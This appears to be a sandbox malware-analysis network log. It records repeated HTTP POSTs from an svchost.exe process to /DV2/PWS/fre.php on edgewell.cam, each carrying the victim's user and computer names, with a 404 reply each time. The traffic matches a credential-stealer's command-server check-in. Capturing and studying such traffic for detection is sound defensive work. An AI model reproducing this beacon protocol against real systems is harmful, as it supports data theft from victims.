May 27, 2024 02:58:06.301511049 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:06 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xs%2F9KWBNhP4Xz4mOqZNqHFHlh8FsiFlYMFekPWzDZsl5JVZ50GnmxoSMAsEFv3Xv%2BwZPyzDXqsfbuHfR%2FLUBBj7d%2BWYlQHdgZRMpQFXKuKnnAZWBMjsG7EnN3H%2BUqyw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20dfb5e990f73-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49788	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:06.518524885 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:06.572700977 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:07.235222101 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:07 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eL6Y4DYAlhTyMnsqbA3egfdAfRauWTMp7D6%2F7Feo%2Fb%2FP8CKr8emZ3pRi989gABD4fwlT8fo5%2F9e3H9pvqpnAkKZECx3NVy%2FMTNx2EGkJugQxXu9dIe3UtwLmpk6wBjA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20e014ffc6a59-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49789	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:07.399030924 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:07.448867083 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:08.076312065 CEST	593	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:08 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AMMnBTq3sWlNYcvr1MStJPSjERUDnp7FzwsXyQtx24vSicJA4rkjnVTA3kUVevv1qnySpw27al8MLbGvDUXjTXjHyzKLSNs4LG9%2FQZ41oSStFWtMxfazbAIzGz%2FFnH0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20e06de700ca0-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49790	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:08.266294003 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:08.316637993 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:08.936168909 CEST	597	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:08 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=souEk6t7FYxEnyyjlBx5niX%2BbTr1MTgeDSAVQ9cnvji5gM%2B49QDkVfzMpSY0fmqoj%2BTp%2F10T4qrNVq8w7t7i2wIDha1SgpZuhUDCJfKdpA0tzUokpuT2YqlfOQdTQJ4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20e0c4c584245-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49791	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:09.186594009 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:09.236658096 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:09.909831047 CEST	603	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:09 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MZX%2BqZOlVmtOuRyTDMMLItMlngs0%2Fp7k2Y1YO9tHqs8Gi%2BUPuM0DX05EdznmrsOhr61zk%2FBGU8fruSVU8U3xSupN9YQtmoGZJ9ajS%2B5npEqIE%2BbAoIczoZDReT%2F9t6k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20e12089943e9-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49792	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:10.081250906 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:10.136637926 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:10.769464016 CEST	601	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:10 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DNqPglSywNqxiS9RpBeu8D5giYd%2F6pYXsSEtYz85Lzh9bAbeOvsTEC%2BF0R%2BTo%2FxYsULpzEh0BmL1Yx20ZL0NHKtvrgHSP0n%2F4UDFEg%2FdNWa3Y3ugUwaLQY8vBfFNpds%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20e17990d42ee-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49793	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:10.936239958 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:10.984827995 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:11.593967915 CEST	597	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:11 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wjBJSw8S0Cs29xw21NXVM6jIgyEQOhU2dtBP%2BzOXD%2Buk3bkML0wNctFb18TvU7Y5LIRNlSgN7ghGA%2FzeVmTTPU4sc3rcjqA4xCqVvzPug%2Bz8ByJ0ApDhd8ye7pLrugU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20e1cea087d11-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	49794	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:11.776103973 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:11.828528881 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:12.693614960 CEST	593	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:12 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TXUL5zxOJC0MpnsJFh9Dn4aA7fx8XXVK5XGiPnXuyhplXl%2BbatIWCT0hHZPEoIm7CVDLZn1vutFdxv5Xpgv0%2BrJDQ4Oamv40zgH9pmtkPI5NBWmQKLidYEH9ZUqtqB0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20e223ac842b5-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49795	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:12.860512018 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:12.914796114 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:13.528036118 CEST	593	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:13 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aUTzv0grPToUkV3sD930LcxSqJT1s9NrXZiMFpdaMzS3a0mB2QLladHFTj0f%2FmaGV74XPHsKIItqtmj5OM5cEPkxLXAML05hlO9keu0VAkRapt1%2Fu1Qjd45gH7f1xwc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20e28ffe3180d-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49796	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:13.812339067 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:13.840562105 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:14.471988916 CEST	593	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:14 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zQrVXJat9pJLg2YATf0VpW19%2Br0VTyQ91b6stduWQLkn0BxnCdt9CRf73Nm4s8aRcyVMXa6iBU7TagEuVV%2FPx7jBKmQAlmdIqisZSTAyi8nnTsfLujWtnyv4poA1kdY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20e2ecf894232-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	49797	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:15.663990021 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:15.716706038 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:16.359973907 CEST	595	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:16 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tk2jUe1S4V81z3OMuuByA3X5MNF9EwxhxA1dDWZgjDOVh0FrxqtHEtukNzYlHEOj0CboPxSa9yEnBP4shaKCgT%2BKsxSXj8%2FjUqjXr4SFvfoQ857M1OlN6ol2Xq%2FhRpE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20e3a9ff432fa-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	49798	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:16.532869101 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:16.580800056 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:17.219400883 CEST	597	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:17 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VtzWFd3WklFO9G%2BgKN2vJyhL86riyCeuHgUB1bzGb9zmlICuyuyRN24VtZ14o1gGqg4t1ojbc0%2BDiaQkEs5urnx0XS6Of%2BcnXhjO%2BTNBSabOHj6Y56tXNNk3H7alYvM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20e400b7f1809-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	49799	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:17.383670092 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:17.432650089 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:18.089358091 CEST	593	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:18 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hQ2iULw3VEB7qhwqkcK3tzp60PJnxskJb1wy2bj%2F8akkroFvBRHpVhv9kuoWHiPUIMwot44UtKzfoZHShZNDkbJYONKhbz7zdmBCA8l36nGTf%2F9ccWBfv4opwq4muS8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20e453a6442a9-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	49800	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:18.265928984 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:18.316752911 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:18.965111017 CEST	595	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:18 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4Td7IJqlkdIyuTpgI1MGOl1QOKWhMj04mL8iPdL7Uk0NfF7dzvFsU9WXC%2F%2FMjckEir4x34lKoWCBFuqdmRVOfh40OGJk8N4xzE3ZrzRCmxBr%2FC8ETekusXfev6HnUy0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20e4adff64338-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	49801	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:19.144546032 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:19.192615986 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:19.844598055 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:19 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Oq05L5hkr%2Bvj0dZ%2FXRHNgigDeD1WABXYCPCRptS%2F%2FkjUyWBzXN4YFDUr2Sx2K88lT26EZq%2BBb2drMyt5AeO39WAjTuOCzwDVzaMYGSmcyucVK9dkQ2gZMgHe5O07IlU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20e505d28728d-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	49802	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:20.087462902 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:20.140235901 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:20.813754082 CEST	603	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:20 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4jdvmxJn40isu735oHglftmyee7RAISw5cDgu3gCiS%2FBfd2Dfxb%2BMmFhLtudej%2BzWOr6P%2FrPjf62%2BZqkHxl2E95XR56qdzxVEzP5yp%2BnR6ygZ7%2FfJw3ia4B3vcpebvk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20e56791f424b-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

